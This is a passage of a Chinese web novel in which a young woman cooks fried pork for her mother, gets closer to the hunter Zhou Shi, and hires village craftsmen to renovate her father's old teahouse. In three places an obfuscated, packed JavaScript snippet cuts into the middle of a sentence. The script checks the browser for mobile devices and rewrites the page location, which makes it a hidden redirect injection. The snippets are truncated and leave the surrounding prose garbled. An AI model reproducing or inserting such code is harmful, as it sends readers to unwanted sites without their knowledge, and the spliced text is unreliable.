她脑子里闪过许多道菜的名称,比如糖醋里脊、醋溜里脊等。但是都不容易保存,于是她决定做干炸里脊,炸得酥脆,味道香并且还能存放,而且干炸类的食物,即使冷了,吃着味道也不会太差。 想到这,她立即决定做干炸里脊。 “这肉真不赖啊。”玫红色的猪肉,没有一点肥肉参杂。 她将肉一分为二,然后依次切成一分厚的薄片,这道菜做法很简单,而且也没什么花里胡哨的花刀需要学习。 肉切好后,放进一个专属于她用来调味的青花碗中。 接着拿出一个小碗,将葱姜切碎后,加入水,等待上一会儿,做成葱姜水,倒入切好的猪肉中。 这一步叫煨肉,葱姜水将肉腌制个七八分钟,让葱姜的味道充分地渗透进猪肉中。 接着,她从一口缸里拿出一个鸡蛋,一手拿着碗,一手敲碎蛋壳,将蛋白尽数倒入碗中,将蛋黄倒入猪肉里。 这一步叫做蛋黄糊,也叫做硬糊。在烹饪界,挂糊分为软糊和硬糊,软糊是蛋清糊。 蛋黄让肉更酥,蛋清让肉更滑嫩。因此一些熘的菜,用到的都是蛋清,而炸的菜,就得用到蛋黄了。 将蛋黄和肉一起搅拌好后,再加入水粉团,水粉团就是用淀粉加水,沉淀后的产物。同样用手抓板均匀,调糊没什么技巧,只要觉得手里舒服了,就算是调完了,这点比较考验厨师的基本功,好在,她比较专业。 在备菜的时候,她是很开心的,但是一到烧火环节,她就不是那么开心了。 想到有周时在的时候,她做菜可惬意了,跟在现代时一样,压根不用过多操心火候的事情。 “娘!您有空不?” 她从厨房探出头,大声询问在院子里和兔子玩耍的苏清。 苏清当然有空了,于是拍了拍手,便来到了厨房。 “您来帮我烧个火。”徐安然嘿嘿一笑。 苏清知道,自己能进厨房,也就这点忙能帮上了,于是点了点头:“行,娘帮你烧火。” 在苏清烧火期间,徐安然继续备菜。这样古老的灶台就是这样,烧火一定得提前烧,如果准备好一切再烧火的话,太浪费时间了。 肉此时已经挂糊得差不都了,最后再加上一点芝麻油,这样干炸里脊下锅前的准备工作就完成了。与此同时,火也烧起来了。 徐安然在锅里倒了一半的油,等了片刻,用手在锅前探了探,大致试了试油温,大概六七成热的时候,下入里脊肉。 肉一定得是一片一片下,直接倒入锅里,容易结块。 在下肉的同时,顺便再调整糊的范围,做菜很多时候都十分讲究细节,细节才能体现出两道一样的菜,谁做出来的更加美味。 锅里的油滋滋响,肉已经成型了,香味也逐渐浓郁。这个时候肉已经熟了,变成了白色,但是还没有金黄色,并没有达到外焦里嫩。 所以还需要再控油,将肉捞起来,等待冷却一会儿,等油温再热一些后,再进行二次复炸,此时的油温已经达到了九、甚至是十成,只需要炸片刻中,就要出锅。 徐安然拿着勺子,锅里缓慢地搅拌,让肉片受热均匀。 而苏清则在一旁,就这样看着锅里的肉从一开始的白色,逐渐变成金色。 然后再看着徐安然将肉捞起来,手臂上下甩了两下,肉块与肉块之间,发出咔咔的响声,听着就很酥脆。 这简直不可置信。饶是这几十年她总在厨房活动,也做不出这样的菜来。 这道菜对于调味的配菜要求不高,只需要盐、葱姜水就足够了。出锅之后,如果觉得味道不够重,撒些辣椒粉或者不同口味的酱料,当零食、当一道菜,都足够。 但往往这样简单的菜,更考验厨子的烹饪经验,因为不同的食材有不同的新鲜程度、含水量、甚至味道、状态都不一样,这就需要厨子根据食材来调整自己的烹饪方式,只会死板按照菜谱做菜的厨子,做不好菜。 这也是为什么她下厨不会坚持按照比例来做的原因。 “娘,你先试试?”徐安然狡黠地笑。 她早就看见苏清那渴望的眼神了,于是先出声说道。 “行,就当做……” “宵夜~” 母女俩一拍即合,于是一人一块肉,直接在厨房吃起来了。 “怎么样?”徐安然吃了一小口,虽然已经知道答案,但还是条件反射地想问。 答案不出所料,苏清点头十分迅速。 “里头的肉很嫩,外头又很脆,而且盐味刚刚好,虽然是油炸的菜,但一点儿也不腻,很好吃。” “和上次做过的锅包肉相比呢?” “上次的锅包肉,味道更甜,口味更丰富,这道菜味道更接近于猪肉的本味,本质上吃的就是这个肉味。更像一道下酒菜。” 苏清简直评价到了她的心坎里,并且她现在真的十分想来一口美酒。 这儿的美酒,她还没喝过呢。 “我娘真会吃~” “否则如何对得起你这么好的厨艺呢?” 母女俩互相吹捧,很快将碟子里的肉都吃完了。锅里还剩下一些,如果明天能见到周时,给他一些。 毕竟,肉是他送来的。没错,仅仅是因为这样。 次日,没什么事要忙的徐安然难得睡了个懒觉,因为苏清起得比她早,所以家里的母鸡终于安静不叫了,或许也是因为忙着下鸡蛋吧。 徐安然头发乱糟糟地蹲在鸡窝前,说是鸡窝,不如说是个三块模板拦起来的一小块区域,根本就困不住这只鸡,只是做个样子,显得院子十分有规划。 吃完早饭过后,徐安然跟苏清打了个招呼,独自前往茶馆。 刚走到半路,便与周时撞了个满怀。 他在去茶馆的必经之路,不知道等了多久,站起身的时候,甚至还踉跄了一下。 “你怎么在这?”她惊讶地问。 “等你。” “……” 自从周时将心里话说出来之后,更不避嫌了。 徐安然将手上的食盒递给他,“昨日傍晚炸的扁担肉,还剩下一些,给你吃了。” 本来就是带给周时的,她只是找了个借口。 但周时才不管是不是借口,他只知道,徐安然心里有他,有好吃的会想着他,就够了。 他傻笑道:“谢谢。” “客气了。” 四月本就是农忙的季节,所以即便现在时间还早,也已经有很多同村的人在地里忙碌了。其中,这些忙碌的村民中就有李四。 由于位置距离比较远,所以徐安然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269164|195502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有发现在地里的李四,此刻他正双手撑着的锄头,一脸的恍然大悟:“我说这小子今日那么殷勤地跟我来地里,却不帮忙,就在路边站着,原来是在等心上人啊。心机男。” 李四这番吐槽被身旁的妻子高玉全听了去,她笑着制止道:“哪有人这样说自己侄子的。被人听去,又要乱传闲话了。” 地里可不止是她们两人,还有其他正在忙的村民,大家的视线也都在并排走的周时和徐安然身上。 “看来村里最近的传言是真的啊……” “害,人家的事情,我们管那么多干嘛,赶紧锄地。今天干不完这一片谁也不准走。” “行行行……” 有些人干活不能说话,会分心,而有些人干活,必须说点八卦,否则没什么动力。 李秀莲隔壁邻居一家就是。 在上个月,这隔壁一家夫妻曾经过徐安然的家,闻见家中传出的肉香味,从那时候起,她便对徐安然十分好奇。 毕竟一个常年不爱出门的女子,突然之间选择去镇上摆摊,并且还做得一手好吃的,这想想都有些奇怪。 “哎,老头,你说这苏清的女儿,不会换人了吧,哪里有人能变化这么大啊?”说话的妇女,名叫李花,大家都叫她阿花,身材臃肿,有些肥胖。她平日里的爱好就是听些村里的八卦。 以前的徐安然,想要在村里见上一面,可太难了。 而如今呢,每天都能见到她出门的身影,并且,变得比以前开朗乐观了不少。 如果也能传授一些经验给她那不爱出门的女儿就好了。阿花心想。 在阿花身旁,是一个比她还要矮小的男人,但是干起活儿来十分利索,这是阿花的丈夫,叫李俊贤,平日话不多。虽然身材矮小瘦弱,但对阿花不错,有啥好吃的都先给阿花吃,然后再给女儿。 或许是遗传吧,他的女儿也跟他一样,不爱说话,并且情况比李俊贤还要严重一些。 阿花为这事儿每日愁得不行,女儿已经快二十岁了也没人上门说亲,倒也不是真的那么着急她嫁出去,但是他们夫妻俩的年纪越来越大,自己也就这样一个女儿,如果哪天他们都不在了,自己这不爱跟人说话的女儿,该如何生活自理? “你少看些话本,人哪里能说换就换?”李俊贤一句话,将李花拉回现实中。 “那就是这丫头想开了!唉,若是我们家丫头也能跟徐安然交个朋友就好了,说不定我们女儿也能变得开朗活泼呢。” 李花自顾自地说了一大堆,发现身旁的人始终没有回应她。平日就算了,但现在可是关乎女儿的大事,于是李花锄头一横,李俊贤锄地的动作被打断。 “媳妇,我觉得咱们女儿现在这样挺好的呀。” “好个屁!你老了还能养她一辈子啊!她也该自己出来做工赚钱了,否则等我们俩都入土了,谁还管她?” “她也不是啥也不干呀。” “整日读那几本破书,是能考取功名还是咋地?” 没错,她女儿也爱看话本,甚至萌生出了要写故事的想法,但是写得故事那叫一个寡淡无味,作为她的亲娘,作为一个爱看话本的女人,都看不下去的程度。 但偏偏女儿不信这个邪,就要写。 写了几年,也没见写出什么水花。年纪还越来越大了,如今都二十了啊!!饶想她二十的时候,女儿已经两岁大了!! 所以不能再这样下去了。 李花见说不动自己丈夫,于是自己心里做起了盘算…… 40. 第 40 章 与此同时,徐安然和周时也抵达茶馆外了。 虽然每次去镇上都会经过茶馆,但每次过来,徐安然都会被眼前的景象震惊许久。实在不敢相信,半个月前连乞丐都不愿意住的地方,现在被她们打扫得这么干净。 这里头最大的功臣当属周时。于是徐安然看他的眼神又友善了许多。 她坐在院子里的石凳上,看着还站着的周时。 “坐下呀,先把我带来的肉吃了再说。”她说。 周时十分听话,说什么就做什么。 这惹得徐安然又笑出了声。 “虽然你心思挺野,但你确实挺呆的。” “嗯?” “现在是你更喜欢我一点,对吧?” 虽然不知道徐安然为什么这么问,但他还是点了点头。 “是。” “那你得表现出你的诚意来呀,现在是你喜欢我,你在追我,不过我还没同意呢,反正现在身边也没其他可以挑选的男人,那就看你如何表现吧,表现得不错,我可能会同意。” 在周时呆滞的目光下,她再次说:“同意我俩一起过日子。” 听到这话,周时哪里还听得进去其他的,脑子里全是立体环绕音“一起过日子”。 直到不知过了多久,听到徐安然一声没好气的“喂”。 “你想啥呢?” 面前的女子,微微弯着腰,双手背在身后。她的脸颊微红,头发随意扎了起来,耳鬓间的碎发自然垂落,一双澄澈水润的眼睛正疑惑地盯着他看。 周时耳根子肉眼可见地红了,并且还在往脸上蔓延。 “没……没什么……”周时支支吾吾地,几个字都说不利索了。 “切,没意思。吃你的肉吧,吃完了来帮我干活。” 徐安然转身离开石桌附近,留下一阵风,和淡淡的皂角香气。 痴汉地干坐了片刻,周时这才起身。 现在他有更有理由粘着徐安然了。 于是乎…… “高的地方我来擦。” “那个桌子你先别动,我把灰都扫干净了,你再擦。” “我把椅子拿到外面洗一遍,晒一会儿再擦吧。” 反正所有的家具和活儿,都要周时过一遍,然后再给她……擦。 不是……徐安然怎么觉得,这样反而更添加了工作量呢? 于是在第六次被周时制止时,她终于忍不住爆发了。 “你能不能别啥都你先来,你先把自己手里的活儿做完再说行吗!少管我!!” 怒吼声传遍了整个茶馆,此时的徐安然像个炮仗,而变得周时安安静静的,果真一句话都不说了。 片刻后,徐安然气消了,语气也缓和了不少。 “这才对嘛。” 她又不是不会干活,啥都要操心显得她像个废物一样。虽然她知道这都是为了她好,但这样的好,她不喜欢。 “如果以后我有什么做得不对,或者你不喜欢的地方,一定要跟我说,我会改。” 周时生怕徐安然厌烦自己,于是连忙说道。他嘴笨,不会说话,所以他希望徐安然有事不要藏在心里,说出来,他才能改。 人都有些以自我为中心,如果别人不提出来,自己可能一辈子都不会发觉。 以前他觉得自己可能要一个人生活了,但现在不一样。他有了喜欢的人,所以想法不能再和之前一样固执和自我了。 “知道啦,跟之前一样就挺好的。在这样的基础上,稍微再努力努力哈。” “嗯!那就我知道了!” 说完后,周时便不再说话了,揽下茶馆里大部分的活儿。而徐安然也顺着他的意,将大部分重活累活都交给他。 以她对周时的了解,现在茶馆里仅剩的活儿,对他来说,根本就不算什么。 两人忙碌了整整两个时辰,直到下午,阳光最烈的时段。 徐安然擦干脑门上的汗,看着还在忙的周时,关心地说:“休息一会儿吧,现在太热了。” 天气越来越热,人干活也越来越累。虽然周时的脸色看着没什么变化,但他好歹也忙了这么长时间了,是个工具都得休息呢,别说人了。 “我没事儿,不累。”周时拒绝。 “赶紧的,过来休息。”她的语气带着不容置否。周时不敢反驳,于是连忙到她身旁坐下。 食盒里还剩下一些干炸肉片,徐安然一边吃一边做着规划。 “过两日,我就请工人来这儿修缮这里的门和窗户。对了,我听说村里有几个负责间房子的工匠,你认识他们吗?” 她本来想去找镇上的人来帮忙修缮茶馆,但是转念一想,去镇上请人一来麻烦,她没有马车,而来……费用i可能会更高,所以便想到了村里的工匠们。 她记得以前家里建房子时,也是请村里的工人来帮忙的。 她问完后,周时点了点头。 “有几位,都和四叔交好,如果你需要,我可以帮你去问问,至于价钱,我也能帮你砍一砍。” “价钱方面,比镇上的工人稍微便宜一点儿就行,对了,你去问的时候,能不能带上我?我想亲自瞧瞧。” 虽然周时办事很令她放心,但她还是想亲自过手。 “行,不如今日就过去吧,正好,我四叔今日在地里干活儿,我们回去的路上会路过我四叔干活儿的地方。” “好呀好呀,那别休息了,赶紧把最后一扇窗户擦完,然后我们就回去!”她一边起身一边说,“等茶馆修好,再换一块牌匾,就可以挑个良辰吉日开张了,赚了钱再将茶馆的面积扩大……嘿嘿,那样方圆百里的富商,就有我徐安然的一席之地了~” 只要是跟茶馆和赚钱有关的事情,她都格外上心。财迷的本性完全显露。 周时却觉得她这样很可爱,很性情。 又过了一个时辰,茶馆的卫生总算是基本搞定了,今日就他们俩人忙碌,收工的时间却出乎她的意料。 回到早上经过的田地吗,果真见到了还在忙农活的李四。这时候活儿已经基本干完了,他们要在四月底之前将红薯种完。 南方的气温比较高,比不得北方,所以种植红薯的时间要早一些,在气温升温前,将红薯种完,这样红薯在生长的过程中才能得到充足的光照和水分。 所以,没等周时说出来找李四的目的,徐安然便拿起一旁的红薯庙,拿着小锄头开始挖起小坑来。 边干活儿边商量事情,事半功倍。 “你是说,你想要修缮你爹留下来的茶馆?把它改成饭馆?”李四很快抓住徐安然话里的重点。 她将手里的活儿停下,点了点头。 “对,我想要自己做生意。” “行!工匠这个事儿,交给你四叔,大家都一家人,我先去帮你问问,过两日给你答复,如果他们那边同意接活儿,四叔再约你跟他们几人见一面。” 听到大家都是一家人这几个字,周时嘴角扬起一个很好看的弧度,更令她开心的是,徐安然没有否认这句话。 “对了,四叔。我听说我爹的茶馆,也是找村里的工匠建造的?” “不是我们山亭村的工匠,是隔壁村的,跟你爹关系不错,但是四叔跟他们不算熟悉,但如果你想找他们来,四叔也可以帮你走一趟,你小叔经常去隔壁村,那个村子里的人都眼熟他。” “小叔?” “害,你瞧我这记性。你应该没见过,改日带你见见,他这两日去镇上码头帮忙了,过两日就会回来。” “行,这边的工匠您先帮我问问,先打听一下他们如何收费,然后我再做进一步的打算。” 如果村里的人能做得了这个活儿,他肯定优先选择村里人。 “好,四叔办事你就放一百个心吧,明日这个时候,四叔就给你答复。” “得咧~谢谢四叔~也谢谢四婶。” 徐安然一口一个四叔四婶地叫,将二老哄得那叫一个心花怒放。 没在周时这儿体会过的那种家里拥有一位活泼小辈的感觉,在徐安然这儿体会到了。 “不客气~都是一家人嘛~”最后这一句李四说得很小声,其他人都听不见,只有他们几人能听见。 说到一家人,徐安然想反驳,但想想还是算了,人家四叔可能也想的也不是那么一回事。 与此同时,在不远处,徐安然正被人观察着。 此人便是李花,自从见到徐安然来地里,她便激动得不行,可惜她丈夫已经回家做饭了,不能给她出主意,现在她到底要不要上去打个招呼,有些犹豫不决。 最终,在徐安然要离开的时候,还是鼓起勇气叫住了她。 李花还在朝她走来的路上,徐安然眼神求助身旁的周时。 她没见过这过这位大婶,所以也不知道她的身份。但肯定是山亭村人没跑了。 “这是李花婶,是李秀敏两姐妹的邻居,她家有个女儿,跟以前的你一样,不爱出门。”周时简单地跟将李花的家的情况说与她听。 说完后,李花刚好走到她身边,气喘吁吁的。 “花婶?您喘口气再说,我不着急离开。” “哎。”李花没想到徐安然居然认识自己,心里对她的好感又多了几分。 她的笑容有些讨好,不知道为什么,以前也见过徐安然,从未有过任何异样的感觉。但现在的徐安然,让她有些,心生敬畏。 “安然。”她擦了擦手上的尘土,有些局促。 “花婶,有什么事你说就行。” “是这样,婶子有个女儿,平日里喜欢待在家里写些话本小说,但是整日不爱出门,我瞧着村里也就你和小柔几位年纪相仿的女子,你们平日里有活动,能不能也带上我女儿一起?不强求,她可以给你们干活儿,只要能出门走走,我就知足了。” 李花有些语无伦次,但是徐安然也算明白了她话里的意思。 花婶口中的女儿,应该是个宅女,或者是个社恐。至于为什么来找她帮忙,或许以前的她给村里的人的印象也是不爱出门的类型吧。 徐安然没有立即同意,因为这类人私人领域很重,有时候太过强求,也会适得其反。 “有机会再说吧,我最近没比较忙,有时间我再带着小柔和秀敏两姐妹去花婶家玩。不过……我也不能保证……” “哎!你愿意来家里玩就行,来了花婶给你们做好吃的!” “好,那我有空就去。” “行!花婶在家里等着你们。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘,爹以前建那茶馆的时候,请的是谁啊?人品如何?” “是你爹的朋友,在隔壁村,不过如今这个时候,他们年纪都大了,早已经不接这类活儿咯。”苏清解释道。 “那他们的孩子呢?应该会子承父业吧。” “这个娘就不清楚了,自从你爹死后,娘就没再关注过这些事情了。” 徐安然点了点头。 也对,那时候她们娘俩能不能吃饱饭都是个问题,哪里还会有其他时间去维持这些人际关系。 “我明白了,没关系,我再打听打听。” “娘什么都帮不上你……” 苏清又开始自我怀疑了。于是徐安然连忙安慰:“说什么呢,您能帮我烧火呀!” 此话一出,苏清果然笑了。 徐安然紧接着又说:“现在就需要娘帮我烧个火,煮一锅热水,今日见到了村里的花婶,她送了些蔬菜给我。” 徐安然将李花拜托她的事情告知苏清,苏清听完后,很支持她的做法。 “那孩子我曾见过,确实是个内向不爱说话的,虽然娘不怎么跟他们家往来,但他们家在村里的口碑并不差,李花的丈夫为人老实,他们的孩子不会差。” “了解了……” 至少目前看来,那位素未谋面的姐妹,人不坏。 时间一晃而过,转眼来到第二天下午。 徐安然在家里喂鸡,李四的声音在屋外响起。 “苏妹子,你在家吗?” 苏清连忙开门,但这次李四不是来找她的,而是来找徐安然的。一进屋,见到徐安然,他水都来不及喝一口,“有时间吗?跟四叔走一趟,去四叔家,四叔把那些工匠都叫家里来了,他们说你给的价钱合适,可以谈谈。” 李四真是办事迅速,好在徐安然不是毫无准备。 她洗了把手,便跟着李四去他家了,苏清也跟着。 毕竟要面对那么多男人,苏清终归有些不放心。李四也考虑到了这一点,所以对于苏清跟着这件事,他非常支持。 这是徐安然第一次来李四家,果不其然,周时已经在门外等着了。 看见徐安然过来,连忙迎上去。 “你来啦。”他笑得灿烂。 李四和苏清在身后,都要磕疯了。 特别是李四,带周时这么长时间,他也就在很小的时候,会露出这样可爱的笑容,果然男人一旦有了心上人,就会变得年轻啊。这不,笑得跟小孩一样。 “现在是什么情况?”徐安然问他。 “人都在里面了,都是以前合作过的叔叔伯伯,还有他们的孩子也在,都是做这类工作的,人都不错,信得过。” 周时简单地说明了现在的情况,让徐安然心里有了底。 “我知道了。” 回答完周时,徐安然抬脚进屋。 四周的目光都向她看过来,有探究、有好奇、也有惊讶。对了,甚至还有崇拜。 这道崇拜的目光,来自一个女孩。 41. 第 41 章 徐安然顺着这道崇拜的目光,走到女孩附近。 见她走来,女孩连忙让出一个位置。 “你……你好。”女孩怯生生地跟她问了声好。 徐安然点了点头,没等女孩再说什么,在她身旁的中年男子紧接着接过话。 “这是我女儿,李若兰,李花是我媳妇儿,昨日跟你聊过两句。”说话的人正是李俊贤。 没想到,花婶口中不爱出门的女儿,今日居然会来到四叔家,想来也是做了很大决心的吧。 但是徐安然瞧着……这女孩好似有些面熟,不过她确信,自己从未见过她,至少是她在的这三个月。 或许是以前的徐安然见过吧,所以会有眼熟的感觉。 “我们等会儿再聊?”徐安然小声地跟李若兰说,她点了点头后,这才说起这次来李四家的目的。 “各位叔叔伯伯,我让四叔请你们来的目的,大家应该都了解了,报酬方面,四叔肯定也都跟你们说了哦?” “是的是的,安然啊,我们这好久都没有动工了,哎呀,你就是来帮我们的呀,所以只要工钱合理,我们都愿意干,就是不知道,你要多少人?” “我们家茶馆不算大,大概需要八个人,做十天工,五天一结,中午包餐。” 徐安然进来之后,已经将屋内的人都数过了,十来人,所以需要淘汰几个人。 但是…… 她对这些人也不是很熟悉啊,只能凭借些第一印象了。 “嗯……是这样的各位叔叔伯伯,我的茶馆不算大,而且需要重新修缮的地方也不算多,所以并不需要这么多人,大概,只需要十个人就行。” “可是……我们这有十五个人啊。”李俊贤老实巴交地说。 这下尴尬了。 一言不发的周时此时接到了来自徐安然求助的眼神,他迈开步子站在徐安然身前,将她整个人挡得严严实实。 “咱们茶馆重活比较多,所以年纪大些的,就算了好不好?下次如果有需要会再找各位阿叔。”低沉的嗓音传进在场所有人的耳中。 大家面面相觑,最后几个年纪稍微大些的男子主动站了出来。 “罢了罢了,我确实年纪大了,你们去吧。” 有一个人走出来,剩下的几位也主动站出来主动退出了。 “是我的问题,跟四叔商量的时候没考虑到年纪问题,叔叔们都是大度的男人,不会介意的吧?” 徐安然这话说得漂亮圆滑,任是他们真的生气,也不好摆在明面上了。 “不会,哪里会生气,都是同村人,不至于。”为首最年长的男人说。 “谢谢各位叔叔们的理解,等我的饭馆开张了,再请各位来吃一顿。” 听到能白吃一顿,退出的几人心里仅存的怨气更是直接没了,这么多人在这,徐安然也不可能开玩笑不是。 于是他们乐呵呵地,又回到了一开始刚来李四家那开心的模样。 “行!那我们就提前祝你生意兴隆咯。” “多谢。” 待几人离开之后,徐安然这才跟剩下的十人说起茶馆的修缮事宜。 “门窗、以及屋顶,还有我需要在茶馆的后方打通一道门,建造一间单独的厨房,地板也需要维护,要做的工作就差不多就这些,按照十个人来算的话,大概多久能完工?” 她没什么建造房子的经验,所以很需要听一听大家的建议,总归有苏清和李四在这儿,这群人不至于能坑了她。 “这活儿不算多,就是屋顶和厨房比较费时间,十个人的话,十五天左右就能完工,只要你的材料都准备好了,我们随时都可以动工。” “十五天……”徐安然又悄悄看了一眼周时。 这次没等他说话,李四就出声了。 “十二天。” “哎,四哥儿,你这……” “就十二天,又不是真的让你建一间房出来,多一天就得多付一天的工钱,我这侄女刚开始做生意,大家都是同村人,互相帮个忙,不难吧?而且每天给的工钱也不少了,而且还管你们的午饭呢。我们家安然做饭那叫一个好吃,你们算赚大发了。” 几人才不信徐安然做的饭真的有那么好吃,当这是来自一家人的自夸。 “害,四哥儿,你这不还是为自己家人说话嘛。” “不帮自家人,难道帮你们这些外家人啊?” 一句话,将几人呛得说不出话。 “就是就是。” 一道清脆的声音响起。 徐安然顺着声音传来的方向看过去,是一开始跟她打招呼的女孩,李若兰。 她笑着向女孩点了点头。女孩见到后,十分害羞地低下了头,在徐安然看不见的角度,偷偷地笑。 李若兰是跟着自己父亲来的,她的父亲还在李四家里,她自然而然也没离开。 “好了好了,十二天就十二天,可以做完。” “行,我要说的就这么多了,工钱三日一结,五天后,我们正式动工,在动工之前,也欢迎大家先去我的茶馆看看,先熟悉熟悉环境。” “没问题,你爹的茶馆我们在做的几个基本都去过,还有印象,放心吧,一定给你做好了。” 李四的面子还是很大的,虽然在村里算不上特别富裕的家庭,但是为人仗义,有很多关系不错的朋友,这次他叫来的人,也都是跟他关系不错的,值得信任的人。 毕竟这是徐安然第一次拜托他办一件事,做好了,也算是帮了周时,让周时在苏清那边留个好印象,也让苏清知道,他们家庭真心不错。 “行,谢谢各位叔叔伯伯们,那我们五日后,一起在茶馆见。” 在这五天时间,她还要摆摊,还要去镇上订购建造房子的材料。以及厨房的图纸,也得赶紧画出来。 她决定自己画,做一个四面通风的、能够遮阳避雨的露天厨房。 茶馆里原本的厨房,通风条件不算好,光是沏茶肯定够了,但是要烧菜,那还真有点悬。烧火的烟如果长时间得不到释放,会对人体产生一定的危害。所以她打算在茶馆旁边另外建造一个四面都通风的厨房,这样就不怕她的健康问题了。 待人都走后,家里就只剩下李四夫妇、苏清以及周时和她了。 “四叔,刚刚那个跟我年纪差不多的女孩,你了解多少?” 李四没想到徐安然对这个感兴趣,不过还是回答了自己知道的所有。 “平日安安静静的,不爱出门,说是在家写小说话本,我今日也没想到她会跟着自家父亲过来,不过我看,那丫头好像认识你?她今日主动跟你打招呼呢。” “以前见过吧。”徐安然模拟两可地说。 “今日谢谢你,四叔!我先跟我娘回去了,明日来家里吃饭?家里还有些猪肉没做完,跟四婶一起来。” “行啊行啊!”说到吃饭,李四顿时双眼放光。 “那我呢?”没等到徐安然邀请自己的周时连忙问。 他想,自己这大体型不至于被忽视呀。 徐安然瞥了他一眼,似笑非笑道:“你……爱来不来。” 周时:“来来来,我来。我一定来。” “知道了知道了。” 在他俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前家里没几个亲戚,徐安然实在不知道该怎么称呼长辈,没人教她,所以只能跟着周时叫。 “哎~闺女儿好,长得真俊呐。”李祥云满脸的欣赏,接着递上一个红色的礼盒,“来来来,这是小叔给你的见面礼,不知道合不合你的心意,如果不喜欢,下次小叔再给你带点别的新鲜玩意儿回来。” “谢谢小叔,不用破费,送啥我都喜欢。下次人来就行。” “哎,客气了不是。” 虽说应下了,但李祥云已经在琢磨着下次回村给徐安然带些什么好吃好玩的了。他孤身一人四十载,最渴望有个女儿。 他完全将徐安然当做自己女儿了,毕竟他也一直将周时当做儿子看待。 三位长辈走在前面,徐安然和周时在后边跟着。 她用只有两人能听见的话问周时:“我是不是见过小叔?在……山下?” 周时点了点头,“不过你就当做第一次见他吧,他觉得上次出现在你面前时的形象不太好。” “明白了,还是个有偶像包袱的长辈呢。” “偶像包袱?何意?” “就是自恋的意思。”说完,她拍了拍周时的肩膀,“来,厨房帮我烧火。” “来啦~” 得到吩咐的周时屁颠屁颠地跟上徐安然。 而三位长辈呢,则跟着苏清,在院子里喝茶。是徐安然自己晒的茶,第一次泡来待客,也是苏清第一次喝。 42. 第 42 章 “这茶?我第一次见呀。叫什么名字?”李四盯着瓶子里的干茶叶,好奇地问。 大宋茶文化盛行,虽然他们普通老百姓很难喝到好茶,但也知道些茶叶品种。这会儿苏清拿出来的茶,他们在座的几人都没见过。 “野茶,山里摘的。安然给它取名山中茶,安然前日记喝过,说味道不错。但我还没喝过呢,正好今日我们一起品尝。” “行!这是安然摘和晒的,肯定跟她做的菜一样好味道。”对于徐安然出手的食物,李四都格外信任。 高玉同样,即便是没见过的茶,他们也照喝不误。原本李祥云还有些犹豫,但见到自己亲哥亲嫂都这样信任徐安然,也将心底里那仅存的一丝犹豫给消除了。 “苏姐姐,我们就在这儿喝茶,不去厨房帮一下俩孩子嘛?” 泡茶期间,高玉一直关注厨房的情况,她想过去帮忙,但在去之前,还是礼貌地询问了一句。 只见苏清大手一挥,十分肯定地说:“不用,不用去帮忙,厨房里空间少,也容不下那么多人啦,我们只管好好在外边喝茶。” “就是啊嫂子,给俩孩子一点单独相处的空间,我看苏姐姐对咱家周时也满意得很咧。” 苏清笑了笑,没有反驳李祥云的话。 “是啊,但还是要安然也满意才行呢。”她说。 “那是自然,日子是年轻小两口过的,咱们啊,只能帮对方都说些好话~” 几位长辈的想法不谋而合,这顿茶,还没喝就已经十分满意了。 而此刻在厨房的徐安然,对周时的省心式帮忙也十分满意。 “你只管烧火就行了,其他的不需要你做。” 厨房不大,周时一直在这里面走动,实在是……太影响她干活了,因为她的视线总是不自觉地跟着周时走。索性让他坐着烧火。 “我不累呀。” “我不是觉得你累。” 周时就像永动机一样,只要她一声令下,什么事都可以替她做,精力根本花不完。 真是羡慕这样的人。 “那,我听你的,就只烧火。” “也不是你做得不好,只是我们家厨房太小了,你总是走来走去的,很影响我干活儿呀。你这么大的体型,想无视你,太难了。” 以前的徐安然是不会跟周时解释这么多的,但今日不知怎地,就是控制不住自己想要解释一番,因为……周时看起来有些委屈。 但是听到她的解释之后,便不委屈了,肉眼可见地开心了。 见状,徐安然总算能安心备菜了。 周时就在她旁边坐着,火已经烧起来了,但火还比较小。 “家里的柴火好像不多了。” “嗯,又得去山下搬些回来了。”说完,徐安然突然想到了什么,连忙补充,“你不用帮忙,我自己去就行。” 以往家里的柴火都是她和苏清两人一起去山下挑的,挑回来后,粗的树枝就砍碎,然后在阳光下晒几天,等木头变脆,这样火烧得又快又旺。 事事都麻烦人会产生依赖性,她不是这样的人。 “行,但我明日也没事做,可以跟你一块去,我知道有个地方可以捡到很多柴火。” 此话一出,徐安然眼睛亮了。 “对哦,你常上山,知道的肯定比我多。”她笑容明媚,“那明日我们一块去,你负责带我找到位置,然后你就去山上打猎吧。” “明日我休息,不打猎。” “哦~你不是每天都会打猎吗?即使不打猎,也会上山,保持正常的作息和活动轨迹,这可是你自己说过的……” 周时很尴尬,他没想到徐安然还会记得这件小事。不知是该开心还是该难过了。 “我每个月都会休息几天。” “原来是这样啊……那好吧,我记住了。那明日我们便一起过去吧。” 说完,徐安然也不再跟他说话了,转过身继续忙活手里的活儿。 今日家里人多,所以她需要做好几道菜。 周时来时,又给她带了只野山鸡。这野鸡常年在山里走动,山里的路很多都是斜坡,鸡爬上爬下,所以鸡腿部位特别发达,比普通的家养鸡要粗几分,肉也十分紧致。 